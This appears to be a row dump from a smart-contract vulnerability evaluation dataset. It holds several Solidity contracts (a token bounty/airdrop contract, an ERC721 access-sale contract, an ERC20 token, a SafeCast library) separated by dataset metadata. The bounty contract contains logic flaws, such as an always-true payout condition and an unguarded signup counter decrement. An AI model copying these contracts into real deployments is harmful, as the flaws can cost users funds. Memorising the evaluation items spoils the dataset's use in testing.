mineth = _min_eth;
minsignupeth = _minsignupeth;
}
}
function adminUpdatePayout(uint _payStyle, uint _payoutNow, uint256 _fixPayAmt, bool _allowsSignup) public onlyAdmin{
payStyle = _payStyle;
payoutNow = _payoutNow;
fixPayAmt = _fixPayAmt;
allowsSignup = _allowsSignup;
emit eUpdatePayout(payStyle, payoutNow, fixPayAmt, allowsSignup, msg.sender);
}
function signupUserWhitelist(address[] _userlist, uint256[] _amount) public onlyStaffs{
require(_userlist.length > 0);
require(_amount.length > 0);
for (uint256 i = 0; i < _userlist.length; i++) {
address baddr = _userlist[i];
uint256 bval = _amount[i];
if(baddr != address(0) && userSignupCount <= maxSignup){
if(!bounties[baddr].blacklisted && bounties[baddr].user_address != baddr){
signups[baddr] = true;
bountyaddress.push(baddr) -1;
userSignupCount++;
if(payoutNow==4){
bounties[baddr] = User(baddr,now,0,false,now,bval,true);
token.transfer(baddr, bval);
userClaimAmt = userClaimAmt.add(bval);
}else{
bounties[baddr] = User(baddr,now,bval,false,0,0,true);
}
}
}
}
}
function removeUserWhitelist(address[] _userlist) public onlyStaffs{
require(_userlist.length > 0);
for (uint256 i = 0; i < _userlist.length; i++) {
address baddr = _userlist[i];
if(baddr != address(0) && bounties[baddr].user_address == baddr){
bounties[baddr].status = false;
signups[baddr] = false;
userSignupCount--;
}
}
}
function updUserBlackList(address[] _addlist, address[] _removelist) public onlyStaffs{
if(_addlist.length > 0){
for (uint256 i = 0; i < _addlist.length; i++) {
address baddr = _addlist[i];
if(baddr != address(0) && !bounties[baddr].blacklisted){
bounties[baddr].blacklisted = true;
blacklist[baddr] = true;
}
}
}
if(_removelist.length > 0){ removeUserFromBlackList(_removelist); }
}
function removeUserFromBlackList(address[] _userlist) internal{
require(_userlist.length > 0);
for (uint256 i = 0; i < _userlist.length; i++) {
address baddr = _userlist[i];
if(baddr != address(0) && bounties[baddr].blacklisted){
bounties[baddr].blacklisted = false;
blacklist[baddr] = false;
}
}
}
function updateMultipleUsersReward(address[] _userlist, uint256[] _amount) public onlyStaffs{
require(_userlist.length > 0);
require(_amount.length > 0);
for (uint256 i = 0; i < _userlist.length; i++) {
address baddr = _userlist[i];
uint256 bval = _amount[i];
if(baddr != address(0)){
if(bounties[baddr].user_address == baddr){
bounties[baddr].reward_amount = bval;
}else{
if(userSignupCount <= maxSignup){
bounties[baddr] = User(baddr,now,bval,false,0,0,true);
signups[baddr] = true;
bountyaddress.push(baddr) -1;
userSignupCount++;
}
}
}
}
}
function adminRetrieveContractConfig() view public onlyStaffs returns(uint, uint, uint256, uint, bool, bool){
return(payStyle, payoutNow, fixPayAmt, maxSignup, allowsSignup, paidversion);
}
function adminRetrieveContractConfig2() view public onlyStaffs returns(uint256, uint256, address, uint, uint, uint){
return(mineth, minsignupeth, wallet, startTimes, endTimes, userSignupCount);
}
function adminRetrieveContractConfig3() view public onlyStaffs returns(ERC20, uint256, uint256, uint, uint){
uint256 taBal = token.balanceOf(this);
return(token, taBal,userClaimAmt, now, block.number);
}
function chkAdmin(address _address) view public onlyAdmin returns(bool){
return admins[_address];
}
function chkStaff(address _address) view public onlyAdmin returns(bool){
return staffs[_address];
}
function getAllAdmin() view public onlyAdmin returns(address[]){
return adminaddress;
}
function getAllStaff() view public onlyAdmin returns(address[]){
return staffaddress;
}
function getBountyAddress() view public onlyStaffs returns(address[]){
return bountyaddress;
}
function chkUserDetails(address _address) view public onlyStaffs returns(address,uint,uint256,bool,uint,uint256,bool){
require(_address != address(0));
return(bounties[_address].user_address, bounties[_address].signup_time, bounties[_address].reward_amount, bounties[_address].blacklisted, bounties[_address].paid_time, bounties[_address].paid_token, bounties[_address].status);
}
function () external payable ifNotStartExp ifNotPaused ifNotBlacklisted{
require(!blacklist[msg.sender]);
if(payoutNow == 0){
require(allowsSignup);
singleUserSignUp(msg.sender);
}else if(payoutNow == 1){
require(allowsSignup);
}else if(payoutNow == 2){
claimTokens(msg.sender);
}else if(payoutNow == 3){
claimImmediateTokens(msg.sender);
}
}
function singleUserSignUp(address _address) internal ifNotStartExp ifNotPaused ifNotBlacklisted {
if(userSignupCount <= maxSignup){
if(!signups[_address] && bounties[_address].user_address != _address && msg.value >= minsignupeth){
if(payoutNow != 1 || payoutNow != 2){
signups[_address] = true;
uint256 temrew = 0;
if(payStyle == 1){ temrew = fixPayAmt; }
bounties[_address] = User(_address,now,temrew,false,0,0,true);
signups[_address] = true;
bountyaddress.push(_address) -1;
userSignupCount++;
}
}
}
forwardWei();
}
function claimTokens(address _beneficiary) public payable ifNotStartExp ifNotPaused ifNotBlacklisted {
require(msg.value >= mineth);
require(_beneficiary != address(0));
require(!blacklist[msg.sender]);
require(!isProcess[_beneficiary]);
require(signups[_beneficiary]);
uint256 rewardAmount = getReward(_beneficiary);
require(rewardAmount > 0);
uint256 taBal = token.balanceOf(this);
require(rewardAmount <= taBal);
isProcess[_beneficiary] = true;
token.transfer(_beneficiary, rewardAmount);
bounties[_beneficiary].reward_amount = 0;
bounties[_beneficiary].status = true;
bounties[_beneficiary].paid_time = now;
isProcess[_beneficiary] = false;
userClaimAmt = userClaimAmt.add(rewardAmount);
forwardWei();
emit eTokenClaim(_beneficiary, rewardAmount);
}
function claimImmediateTokens(address _beneficiary) public payable ifNotStartExp ifNotPaused ifNotBlacklisted {
require(msg.value >= mineth);
require(_beneficiary != address(0));
require(!blacklist[msg.sender]);
require(userSignupCount <= maxSignup);
require(fixPayAmt > 0);
uint256 taBal = token.balanceOf(this);
require(taBal > 0);
require(fixPayAmt <= taBal);
require(!isProcess[_beneficiary]);
isProcess[_beneficiary] = true;
signups[_beneficiary] = true;
bounties[_beneficiary] = User(_beneficiary,now,0,false,now,fixPayAmt,true);
bountyaddress.push(_beneficiary) -1;
userSignupCount++;
token.transfer(_beneficiary, fixPayAmt);
userClaimAmt = userClaimAmt.add(fixPayAmt);
forwardWei();
emit eTokenClaim(_beneficiary, fixPayAmt);
}
function getReward(address _address) internal constant returns(uint256){
uint256 rtnVal = 0;
if(payStyle == 0){
uint256 taBal = token.balanceOf(this);
rtnVal = taBal.div(userSignupCount);
}else if(payStyle == 1){
// Reward for each bounty is based on Fixed amount
rtnVal = fixPayAmt;
}else if(payStyle == 2){
// Reward for each bounty is based on the amount set by the Admin when adding the bounty
rtnVal = bounties[_address].reward_amount;
}
return rtnVal;
}
function forwardWei() internal {
if(!paidversion){
if(msg.value > 0)
owner.transfer(msg.value);
}else{
if(msg.value > 0)
wallet.transfer(msg.value);
}
}
}
| 192,189 | 517 |
a1e9422f2bdf41ff406063b4d63e63b5a83d845f0d87ea8892d6da6abf35e867
| 30,160 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x499b08a56d921ddf932bc78fe882134c4a1b0b87.sol
| 4,419 | 15,694 |
pragma solidity ^0.4.23;
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(address indexed _from,
address indexed _to,
uint256 indexed _tokenId);
event Approval(address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner,
address indexed _operator,
bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data)
public;
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(address _operator,
address _from,
uint256 _tokenId,
bytes _data)
public
returns(bytes4);
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner,
address _operator)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from,
address _to,
uint256 _tokenId)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data)
public
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender,
uint256 _tokenId)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender));
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(address _from,
address _to,
uint256 _tokenId,
bytes _data)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner,
uint256 _index)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return name_;
}
function symbol() external view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(address _owner,
uint256 _index)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from].length--;
// ^ This also deletes the contents at the last position of the array
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CKInterface {
function totalSupply() public view returns (uint256 total);
function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function approve(address _to, uint256 _tokenId) external;
function createPromoKitty(uint256 _genes, address _owner) external;
}
/// @title E.T.H. (Extreme Time Heroes) Access Contract for beta and main sale
/// @author Nathan Ginnever
contract ETHAccess is Ownable, ERC721Token {
uint256 public betaQRTLimit = 10000; // 10 for testing, 10000 mainnet
uint256 public totalPortalKitties = 0;
uint256 public QRTprice = 200 finney;
CKInterface public ck;
struct Participant {
address party;
uint256 numPortalKitties;
}
// we can use this mapping to allow kitty depositers to claim an E.T.H. fighter NFT in the future
mapping(address => Participant) public participants;
event QRTPurchase(address indexed _from,
uint256 indexed _time,
uint256 indexed _tokenId);
event KittiesPortal(address indexed _from,
uint256 indexed _time);
constructor(address _ckAddress,
address _secureWallet,
string name,
string symbol)
public
ERC721Token(name, symbol)
{
owner = _secureWallet;
ck = CKInterface(_ckAddress);
super._mint(_secureWallet, 0);
}
function purchaseQRT() public payable {
require(msg.value == QRTprice);
require(totalSupply() < betaQRTLimit);
uint256 _tokenID = totalSupply().add(1);
participants[msg.sender].party = msg.sender;
super._mint(msg.sender, _tokenID);
emit QRTPurchase(msg.sender, now, _tokenID);
}
function portalKitty(uint256 id) public {
require(ck.ownerOf(id) == msg.sender);
// this assumes client calls an approval for each cryptokitty id
ck.transferFrom(msg.sender, address(this), id);
participants[msg.sender].numPortalKitties = participants[msg.sender].numPortalKitties.add(1);
totalPortalKitties = totalPortalKitties.add(1);
emit KittiesPortal(msg.sender, now);
}
function withdraw() onlyOwner public {
owner.transfer(address(this).balance);
}
}
| 179,084 | 518 |
b0cbc47a3b9fca187ae14fd88a752b769821278016da38f3f904461ff05725ae
| 27,535 |
.sol
|
Solidity
| false |
344240921
|
SMG-TO/smg-to
|
a4762fb2ff54ea0332f125038c547ef736e47d95
|
contracts/SMGToken.sol
| 2,769 | 10,667 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ERC20Pausable is ERC20, Pausable {
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SMGToken is ERC20Pausable, Ownable {
event MintedTokens(address mintedOn, uint256 mintedTokens, address mintedBy);
event BurnedTokens(address burnedBy, uint256 burnedTokens);
event PausedContract(address pauseddBy);
event UnpausedContract(address unpausedBy);
constructor() public ERC20("SMG", "SMG") {
}
function mintTokens (uint256 newSupply, address account) public onlyOwner returns (bool status) {
_mint(account, newSupply);
emit MintedTokens(account, newSupply, msg.sender);
return true;
}
function burnTokens (uint256 burnAmount) public whenNotPaused returns (bool status) {
_burn(msg.sender, burnAmount);
emit BurnedTokens(msg.sender, burnAmount);
return true;
}
function pauseContract () public onlyOwner returns (bool status) {
_pause();
emit PausedContract(msg.sender);
return true;
}
function unpauseContract () public onlyOwner returns (bool status) {
_unpause();
emit UnpausedContract(msg.sender);
return true;
}
}
| 170,658 | 519 |
5ab930da1008c1d1ad1aaf4850da454ae0bb6d0648eec99f49a6d4284f06364b
| 32,723 |
.sol
|
Solidity
| false |
609796715
|
egeaybars123/chainlink-functions-example
|
39d4570a7e66cc8f5ad55f5db3c035c91e51b787
|
contracts/dev/vendor/openzeppelin-solidity/v.4.8.0/contracts/utils/SafeCast.sol
| 4,101 | 12,221 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)
// This file was procedurally generated from scripts/generate/templates/SafeCast.js.
pragma solidity ^0.8.0;
library SafeCast {
function toUint248(uint256 value) internal pure returns (uint248) {
require(value <= type(uint248).max, "SafeCast: value doesn't fit in 248 bits");
return uint248(value);
}
function toUint240(uint256 value) internal pure returns (uint240) {
require(value <= type(uint240).max, "SafeCast: value doesn't fit in 240 bits");
return uint240(value);
}
function toUint232(uint256 value) internal pure returns (uint232) {
require(value <= type(uint232).max, "SafeCast: value doesn't fit in 232 bits");
return uint232(value);
}
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
function toUint216(uint256 value) internal pure returns (uint216) {
require(value <= type(uint216).max, "SafeCast: value doesn't fit in 216 bits");
return uint216(value);
}
function toUint208(uint256 value) internal pure returns (uint208) {
require(value <= type(uint208).max, "SafeCast: value doesn't fit in 208 bits");
return uint208(value);
}
function toUint200(uint256 value) internal pure returns (uint200) {
require(value <= type(uint200).max, "SafeCast: value doesn't fit in 200 bits");
return uint200(value);
}
function toUint192(uint256 value) internal pure returns (uint192) {
require(value <= type(uint192).max, "SafeCast: value doesn't fit in 192 bits");
return uint192(value);
}
function toUint184(uint256 value) internal pure returns (uint184) {
require(value <= type(uint184).max, "SafeCast: value doesn't fit in 184 bits");
return uint184(value);
}
function toUint176(uint256 value) internal pure returns (uint176) {
require(value <= type(uint176).max, "SafeCast: value doesn't fit in 176 bits");
return uint176(value);
}
function toUint168(uint256 value) internal pure returns (uint168) {
require(value <= type(uint168).max, "SafeCast: value doesn't fit in 168 bits");
return uint168(value);
}
function toUint160(uint256 value) internal pure returns (uint160) {
require(value <= type(uint160).max, "SafeCast: value doesn't fit in 160 bits");
return uint160(value);
}
function toUint152(uint256 value) internal pure returns (uint152) {
require(value <= type(uint152).max, "SafeCast: value doesn't fit in 152 bits");
return uint152(value);
}
function toUint144(uint256 value) internal pure returns (uint144) {
require(value <= type(uint144).max, "SafeCast: value doesn't fit in 144 bits");
return uint144(value);
}
function toUint136(uint256 value) internal pure returns (uint136) {
require(value <= type(uint136).max, "SafeCast: value doesn't fit in 136 bits");
return uint136(value);
}
function toUint128(uint256 value) internal pure returns (uint128) {
